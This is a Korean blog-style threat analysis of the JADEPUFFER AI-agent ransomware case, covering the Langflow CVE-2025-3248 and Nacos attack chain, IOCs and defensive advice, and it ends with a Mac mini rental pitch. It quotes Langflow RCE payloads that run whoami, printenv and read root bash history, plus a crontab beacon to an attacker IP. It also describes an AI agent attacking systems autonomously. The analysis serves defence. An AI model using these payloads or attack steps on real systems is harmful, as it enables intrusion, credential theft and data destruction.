2026 JADEPUFFER 사건: 최초 AI Agent 엔드투엔드 랜섬웨어와 Mac Mini M4 안전 배포 결정 가이드

2026년 7월 1일, 클라우드 보안 기업 Sysdig 위협 연구팀(TRT)이 코드명 JADEPUFFER 작전을 공개했습니다. 평가상 현재까지 알려진 최초의 엔드투엔드·완전 LLM Agent 주도 랜섬웨어 작전으로, 정찰·자격 증명 탈취·측면 이동·지속성 확보·파괴적 암호화·몸값 요구까지 핵심 단계에서 인간 수동 개입 없이 실행됐습니다. 공격자는 Agentic Threat Actor(ATA, 에이전틱 위협 행위자)로 분류됩니다. 진입점은 공인 노출 Langflow(CVE-2025-3248), 실제 표적은 별도 공인 노출 MySQL + Alibaba Nacos 프로덕션 서버였고 Sysdig는 600건 이상의 독립·목적 지향 payload를 포착했습니다. 본문은 1차 기술 세부를 바탕으로 공격 체인·IOC·방어 권고를 정리하고, AI Agent 안전 배포 5단계 실무와 Mac Mini M4 격리 배포 결정 매트릭스를 제시합니다.

1. 3대 핵심 리스크: AI Agent 배포자가 지금 감사해야 할 것

1. 공인 Langflow = 고위험 진입점: CVE-2025-3248(CVSS 9.8)은 미인증 RCE를 허용합니다. CISA는 2025년 5월 5일 KEV에 등재했고, SentinelOne 기준 EPSS 악용 확률 91.42%입니다. 동일 취약점으로 Flodrix 봇넷도 유포됐으며, 공인 스캔·무기화 악용이 장기 지속 중임을 보여줍니다.
2. Agent 환경 = 자격 증명 금고: JADEPUFFER는 Langflow 호스트에서 OpenAI·Anthropic·DeepSeek·Gemini API Key와 ALIBABA_/ALIYUN_/TENCENT_/HUAWEI_ 및 AWS/GCP/Azure 클라우드 자격 증명을 병렬 스캔했습니다. 서두른 AI 오케스트레이션 서버의 전형적 구성입니다.
3. 구 취약점 + AI 자동화 = 제로 코스트 무기화: 하류 표적은 2021년 Nacos 인증 우회(CVE-2021-29441)와 교체되지 않은 기본 JWT 서명 키를 악용했습니다. Agent는 「역사적 취약점 DB를 순차 스캔」하는 한계 비용을 거의 0에 가깝게 만들며, LLMjacking(자격 증명 탈취로 Agent 구동)과 결합하면 공격자의 연산 비용 부담도 사실상 없어집니다.

2. 사건 개요와 ATA(에이전틱 위협 행위자) 개념

발견 주체는 Sysdig TRT, 보고서 저자 Michael Clark(Director of Threat Research). 일부 언론은 7월 6일을 대외 인지 시점으로 다뤘으나, 1차 기술 보고서 공개일은 7월 1일입니다.

Sysdig의 핵심 정의: 정찰부터 랜섬웨어까지 전 과정을 LLM Agent가 연결한 최초의 완전 작전이며, 핵심 단계에 인간이 개입한 전통적 랜섬과 다릅니다. 새 분류 ATA(Agentic Threat Actor)는 「공격 역량이 AI Agent에 의해 제공되고, 인간이 도구를 직접 조작하는 유형이 아님」을 가리킵니다.

2단계 표적 구조:

• 진입 서버: 공인 노출 Langflow 인스턴스(CVE-2025-3248)
• 실제 표적: 별도 공인 노출 MySQL + Alibaba Nacos 구성 센터 프로덕션 서버

전체 공격은 압축된 시간 창에서 완료됐고 600건 이상의 독립·목적 지향 payload가 포착됐으며, 공격 체인은 수 주에 걸쳐 여러 세션으로 분할 실행됐습니다.

3. 전체 타임라인

4. CVE-2025-3248 기술 분석

4.1 취약점 원인 단계별 분해

1. Langflow는 시각화 오케스트레이션 UI에서 커스텀 함수 노드 문법 검증용 /api/v1/validate/code 인터페이스를 제공합니다.
2. 구현: 사용자 코드를 ast.parse()로 AST 파싱 후 compile()·exec()로 실행합니다.
3. 핵심 결함: 전 과정에 인증 없음·샌드박스 격리 없음.
4. 악용 기법: Python 함수 정의 시 데코레이터와 기본 매개변수는 정의 순간 즉시 평가됩니다. 공격자는 악성 코드를 기본값·데코레이터에 넣으면 Langflow가 「합법성 검증」을 할 때 이미 실행됩니다.
5. 공격자는 로그인 불필요, 정교한 HTTP POST만으로 RCE 가능합니다.

4.2 Flodrix 활동의 실제 payload 예시(Trend Micro 포렌식, JADEPUFFER와 독립)

exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("ip addr show", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("systemctl status sshd", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("capsh --print", shell=True))')

명령 순서: 권한 확인 → 환경 변수 덤프(API Key 유출 가능) → root bash 기록 → 네트워크 정찰 → SSH 상태 → 프로세스 capability 평가. 최종적으로 Flodrix(LeetHozer 계열 변종) ELF 바이너리를 내려받아 DDoS 봇넷을 구성합니다.

4.3 공식 패치(Langflow 1.3.0)

post_validate_code에 _current_user: CurrentActiveUser 의존성 주입 추가: FastAPI가 JWT Bearer Token 또는 x-api-key를 먼저 검증하고 실패 시 401/403, 요청이 취약 로직에 도달하지 않습니다. 통과 후 is_active 상태도 확인합니다.

5. 공격 체인 Phase 1: Langflow 호스트 장악

모든 payload는 Base64 인코딩 Python을 Langflow RCE 엔드포인트로 전달했습니다. Langflow가 진입점이 된 이유: AI Agent 서버에 LLM API Key·클라우드 자격 증명이 자주 저장되고, 팀이 서두른 공인 배포로 네트워크 통제가 부족하기 때문입니다.

5.1 정찰 및 자격 증명 수집(다중 스레드 병렬)

id, uname -a, hostname 등 기본 열거 후 병렬 스캔:

• LLM API Key: OpenAI, Anthropic, DeepSeek, Gemini
• 클라우드 자격 증명: ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ 및 AWS/GCP/Azure
• 암호화폐 지갑·시드 구문(seed phrases)
• DB 자격 증명·설정 파일

5.2 로컬 데이터 탈취 및 측면 이동 탐색

Langflow 자체 PostgreSQL 백엔드 DB(자격 증명, API Key, 사용자 기록)를 덤프해 로컬 검토 후 임시 파일 삭제로 흔적 제거. 내부 주소 공간 스캔, 기본 자격 증명으로 DB·오브젝트 스토리지·키 저장소·서비스 디스커버리 엔드포인트 탐색.

5.3 MinIO 열거 및 적응형 오류 수정(핵심 포렌식 세부)

minio.internal:9000과 127.0.0.1:9000 탐지, 기본 자격 증명 minioadmin:minioadmin으로 Bucket 전체 열거, terraform-state 발견 후 credentials.json 추출.

적응형 세부: 첫 요청에 ?format=json을 붙였으나 XML 응답 수신 → 다음 payload에서 즉시 XML 파서로 전환. 고정 스크립트식 재시도가 아닌 「탐지-오류-적응」 루프입니다. 경로: 익명 헬스 체크 → 관리 API → 인증 ListBuckets → "credentials", ".env" 포함 GetObject.

5.4 지속성 확보

crontab 스케줄 등록, 30분마다 비콘 아웃바운드:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"

6. 공격 체인 Phase 2: MySQL + Nacos 프로덕션 서버 장악

실제 표적: 공인 노출 MySQL + Alibaba Nacos 프로덕션 서버. Nacos는 Alibaba 계열 마이크로서비스에 광범위 사용, CVE-2021-29441 등 인증 우회 이력이 있고 2020년부터 공개 문서에 기록된 기본 JWT 서명 키를 많은 배포가 교체하지 않았습니다.

Agent는 root 자격 증명으로 노출된 MySQL 포트에 직접 연결 — 출처 불명, Sysdig는 피해 환경에서 탈취 관측 없음, 인간이 사전 준비했을 가능성이 있는 소수 구간입니다.

6.1 Nacos 다중 벡터 동시 공격과 31초 자가 복구

동시 시도: CVE-2021-29441 인증 우회, 기본 JWT 키 위조 Token, root DB 권한으로 백엔드 DB에 백도어 관리자 xadmin 주입.

복구 payload는 삭제·진단·재구축·재삽입 전체 루프를 완료. Sysdig는 인간 운영자가 subprocess PATH 문제를 찾아 수정 스크립트를 작성하는 데 보통 31초를 훨씬 초과한다고 지적합니다.

6.2 컨테이너 탈출 탐색(약 8분, 다중 라운드)

MySQL 파일 읽기/쓰기 원시로 컨테이너 탈출 체계적 탐색: OUTFILE 쓰기 테스트, LOAD_FILE 읽기, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname 접근 시도, mysql.func UDF 로드 가능성 확인. 랜섬웨어 전 _pwn_cleanup.txt 완료 마커 기록 — Sysdig는 Agent가 작업 완료 후 「다음 단계 진입」 신호로 본다고 평가, 인간 사전 설정 고정 스크립트와는 다릅니다.

6.3 파괴적 암호화: Nacos 구성 1342건

전체 1,342건 Nacos 서비스 구성 항목을 MySQL AES_ENCRYPT()로 암호화, 원본 config_info·his_config_info 테이블 삭제, 랜섬 노트 테이블 README_RANSOM 생성.

핵심 세부:

• 암호화 키는 uuid4() 무작위 생성, 표준 출력에만 기록·저장·외부 전송 없음 — 몸값 지불해도 공격자가 복호화 불가능할 수 있음
• 랜섬 노트는 AES-256 주장, MySQL AES_ENCRYPT() 기본값은 실제 AES-128-ECB
• 연락 이메일 e78393397@proton.me, 비트코인 주소 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
• 2분 후 Agent가 후속 payload로 랜섬 노트를 「전체 1342건 암호화 완료」로 정밀 수정

6.4 대규모 파괴 및 진단형 오류 수정

행 단위 삭제 후 DROP DATABASE로 격상. 코드 주석에 「고 ROI DB, 우선 삭제(데이터는 64.20.53[.]230에 백업)」 — Sysdig는 실제 전송 독립 증거 없음, Agent 자기 서술에 가깝다고 봅니다. DROP DATABASE가 외래 키 제약으로 조용히 실패한 뒤 다음 payload가 SET GLOBAL FOREIGN_KEY_CHECKS=0으로 우회 — 「왜 실패했는지 이해」가 필요한 수정입니다.

7. 「자율성」 4대 증거선과 비트코인 미스터리

1. 자기 서술형 코드: payload 내 대량 자연어 주석이 각 단계 「이유」를 설명, ROI 우선순위·「어느 DB가 가장 큰지」 지적 — 인간 공격자는 일회성 python3 -c에 이런 주석을 거의 쓰지 않지만 LLM 코드 생성 기본 출력과 일치합니다.
2. 기계 속도 장애 진단·수정: Nacos 백도어 31초 복구, MinIO JSON/XML 적응, JWT 위조 시 "custom secret in use" 수신 후 해당 경로 즉시 포기 — 가장 정밀한 자율성 증거는 「틀린 뒤 얼마나 빨리·어떤 방식으로 고치는가」입니다.
3. 자연어 컨텍스트 이해: 표적 환경의 자유 텍스트 컨텍스트를 파싱해 「읽어야만 할 수 있는」 동작 실행, 수 주 간격 다른 세션에서 반복.
4. 비트코인 주소 미스터리: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy는 Bitcoin Core 문서 표준 P2SH 예시, LLM 코퍼스에 대량 존재. 온체인 737건 과거 거래, 누적 약 46 BTC, 현재 잔액 0. Sysdig는 (a) LLM 환각 자율 생성 vs (b) 공격자 의도적 실제 지갑 구분 불가 — AI 자율성이 공격 추적에 가져온 새 불확실성입니다.

8. IOC 종합 및 공식 방어 권고

8.1 Sysdig 공식 방어 권고(정리)

• Langflow를 CVE-2025-3248 패치 버전으로 업그레이드, 코드 실행/검증류 엔드포인트를 공인에 노출하지 않음
• 런타임 위협 탐지로 DB 프로세스 내 악성 행위 식별
• AI 오케스트레이션 서버 환경 변수에 LLM API Key·클라우드 자격 증명 저장 금지 — 전용 시크릿 서비스와 공인 프로세스 격리
• Nacos 강화: 기본 token.secret.key 교체, 커스텀 키 강제 버전 업그레이드, Nacos 공인 노출 영구 금지, root로 백엔드 DB 연결 금지
• DB 관리자 계정 공인 노출 금지, 관리 포트에 강력 고유 자격 증명·소스 IP 제한
• 아웃바운드 트래픽 제어(egress control)로 침해된 호스트의 임의 비콘·외부 DB/임시 저장 서버 접근 제한
• 상기 IOC 모니터링, 외부 요청 crontab·비정상 User-Agent 주목

9. 업계·전문가 반응

BleepingComputer, Dark Reading, CyberScoop, Security Affairs 등이 「최초 완전 AI 주도 랜섬웨어」로 보도하며 ATA 시대 도래를 강조했습니다.

CSO Online은 독립 보안 연구원·레드팀 전문가 Vibhum Dubey 인터뷰를 실었습니다: 「실행 방식의 진화로 보는 편이지, 완전히 새로운 랜섬 기술은 아닙니다. 정찰·자격 증명 탈취·배포 자동화는 수년간 있었고, 이번 차이는 AI Agent가 단계를 자율 연결하고 인간 다음 지시 없이 의사결정한다는 점입니다.」 그는 진짜 우려는 최종 암호화가 아니라 그 전 「조용한 기간」 — Agent가 신원 체계·권한 관계·신뢰 체인을 조용히 파악하고 탐지 회피 — 이라고 지적합니다. AI는 한 경로가 막히면 빠르게 전술 전환, 침입마다 형태가 달라질 수 있어 「공격자가 예측 가능한 경로를 탄다」는 전통 탐지가 무력화됩니다.

다수 매체는 LLMjacking과의 잠재 결합을 언급: 자격 증명 탈취로 Agent를 구동하면 복잡 다단계 공격의 한계 비용이 거의 0 — 이번 사건에서 가장 경계할 경제학적 신호입니다.

10. Sysdig 결론과 시사점(4대 판단)

1. 랜섬웨어는 더 이상 「고숙련자의 수공예」가 아님: LLM Agent가 정찰·자격 증명 탈취·측면 이동·지속성·파괴를 연결, 운영자는 깊은 전문 지식 불필요. 「매우 유능한 사람」이 하던 기술이 이제 「충분히 유능한 모델」만 있으면 됩니다.
2. 구 취약점의 자동화 무기화: 하류 표적은 수년 전 Nacos 문제·미교체 기본 키 악용. Agent는 「역사적 취약점 DB 순차 스캔」 비용을 거의 0으로 만들고, 장기 미패치 공인 시스템 노출은 계속 증가합니다.
3. 의도가 「읽힌다」 — 방어 기회이기도 함: LLM이 payload에서 목표를 서술해, 방어 측에 이전에 없던 탐지·분석 포인트를 제공합니다.
4. 「백업 완료」는 공격자 일방 주장: DROP DATABASE 전 주석의 「임시 서버에 백업」은 독립 검증 없음. 암호화 키는 임시 생성·복구 불가, 피해자는 몸값을 지불해도 구성 데이터를 되찾기 어렵습니다.

보고서 말미: JADEPUFFER는 경고 신호 — 개별 기술은 모두 새롭거나 복잡하지 않음, 핵심은 AI 모델이 이를 완전 랜섬 작전으로 연결해 이미 무시되던 공인 인프라를 겨냥했다는 점. 랜섬웨어 실행 장벽은 「Agent 하나 구동 비용」 수준으로 하락, Agent가 탈취 자격 증명으로 구동되면(LLMjacking) 공격자 한계 비용은 거의 0. 방어 측은 이런 공격의 양·범위 증가를 예상하고, 공인 노출 앱 서버·미강화 구성 센터·공인 직접 접근 가능 DB 관리자 계정을 최우선 공격면으로 봐야 합니다.

11. AI Agent 배포 방안 결정 매트릭스

12. 5단계 안전 배포 실무(How-to)

1. Langflow/OpenClaw 노출면 즉시 감사: Langflow ≥ 1.3.0 확인. curl -I https://your-host/api/v1/validate/code로 공인 도달 여부 검증 — 도달 가능·미인증이면 P0로 하선 또는 VPN 적용.
2. 자격 증명 외부화·로테이션: Agent 서버 환경 변수에서 모든 LLM API Key·클라우드 자격 증명 제거. HashiCorp Vault, 클라우드 Secrets Manager 또는 CI 주입 사용. 유출 위험 자격 증명 즉시 로테이션.
3. Nacos/MySQL 강화 체크리스트: Nacos token.secret.key 교체, 공인 포트 차단, 기본 JWT 없음 검증. MySQL root 내부 IP 바인딩, 강력 비밀번호·bind-address 제한.
4. 런타임 탐지·IOC 헌팅: DB 프로세스 이상 행위 탐지 배포. crontab 아웃바운드, README_RANSOM 테이블, 45.131.66.106 아웃바운드 연결 헌팅.
5. 격리 Mac 노드로 이전: Langflow/OpenClaw 워크플로를 전용 Mac mini M4 원격 노드로 이전. 워크스페이스는 SFTP/rsync 동기화, 로컬 브라우저·Desktop 클라이언트·프로덕션 DB와 물리 분리 — JADEPUFFER식 「진입 서버 = 자격 증명 금고」 리스크면 축소.

13. 자주 묻는 질문 FAQ

상단 JSON-LD FAQPage에 8개 핵심 Q&A 수록. 실무 판단 2가지 추가:

• Langflow가 내부망이면 걱정 없나요?: 내부망은 공인 RCE 리스크를 크게 낮추지만, 내부 측면 이동 격리 부족·VPN 완화 설정 시 2차 발판 가능 — 자격 증명 외부화·egress 제어는 여전히 필요합니다.
• OpenClaw와 Langflow 리스크가 같나요?: 진입 취약점은 다르지만 「AI 오케스트레이션 서버에 API Key 저장 + 서두른 공인 노출」 패턴은 매우 유사. JADEPUFFER 교훈은 모든 Agent 게이트웨이 배포에 적용됩니다.

14. 참고 자료

• Sysdig 《JADEPUFFER: Agentic ransomware for automated database extortion》(원본 기술 보고서, 2026-07-01)
• BleepingComputer 《JadePuffer ransomware used AI agent to automate entire attack》
• Dark Reading 《JadePuffer: The First Complete LLM-Driven Ransomware Attack》
• CyberScoop 《Sysdig clocks first documented case of agentic ransomware》
• CSO Online 《This AI agent autonomously hacked a network...》(Vibhum Dubey 코멘트 포함)
• Security Affairs 《JADEPUFFER: First End-to-End AI-Driven Ransomware Operation》
• Trend Micro 《Critical Langflow Vulnerability (CVE-2025-3248) Actively Exploited to Deliver Flodrix Botnet》
• NVD / SentinelOne / Zscaler — CVE-2025-3248 독립 기술 분석; CISA KEV 목록

본문은 Sysdig 1차 보고서와 공개 보도를 바탕으로 정리했습니다. 공격자 의도·AI 자율성 판단은 출처를 명시했으며, 법적·위협 귀속 결론은 아닙니다. 최종 갱신: 2026-07-07.

15. Mac Mini M4 임대와 SFTPMAC 결정 브리지

JADEPUFFER가 드러낸 핵심 모순: AI Agent 워크플로는 상시 온라인·모델 API 호출이 필요하지만, 프로덕션 자격 증명·공인 RCE 엔드포인트와 느슨한 환경에 공존하면 안 됩니다. 노트북이나 미강화 VPS에서 Langflow/OpenClaw를 돌리다 CVE-2025-3248급 진입 취약점을 맞으면 LLM API Key·클라우드 자격 증명·내부 측면 경로가 수 분 내 Agent식 공격으로 전량 유출될 수 있습니다. 「로컬 Claude Desktop 실행」의 신뢰 경계 문제와 본질은 같고, 결과만 프라이버시 논쟁에서 프로덕션 데이터 파괴로 격상됩니다.

더 안전한 경로: Agent 오케스트레이션 환경을 전용 상시 온라인 Apple Silicon 노드로 격리하고 로컬 일상·브라우저 설정·프로덕션 DB와 물리 분리. 자격 증명은 환경 변수가 아닌 시크릿 관리 서비스 주입, 아웃바운드는 정책 제한, 워크스페이스는 SFTP/rsync 동기화·롤백 스냅샷. 사이트 내 《Claude Code 은닉 문자 사건》《Mac Mini M4 임대 vs 구매》의 「원격 Mac 7×24 Agent 노드」 권고와 같은 맥락입니다.

Langflow·OpenClaw·자체 AI Agent 게이트웨이를 배포 중이라면 다음 단계는 보통 Agent와 민감 자산 분리, 격리·감사 가능·코드 실행 엔드포인트 직접 노출 없는 Mac mini M4 노드입니다. SFTPMAC 원격 Mac 임대는 AI Agent 워크플로용 상시 환경을 제공합니다: Apple Silicon M4 네이티브 성능, SSH/SFTP 디렉터리 격리, launchd 데몬, CI/CD 산출물 동기화 — 「공인 VPS에 Langflow 급하게 올리기」나 「가정용 Mac이 Agent+일상 겸용」보다 JADEPUFFER식 ATA 공격에 맞서는 팀에 적합합니다. AI Agent 위협 행위자 시대에 전용 Mac 임대로 격리 배포·지속 온라인을 확보하는 것이 패치 속도에 내기보다 현실적인 보안 투자입니다.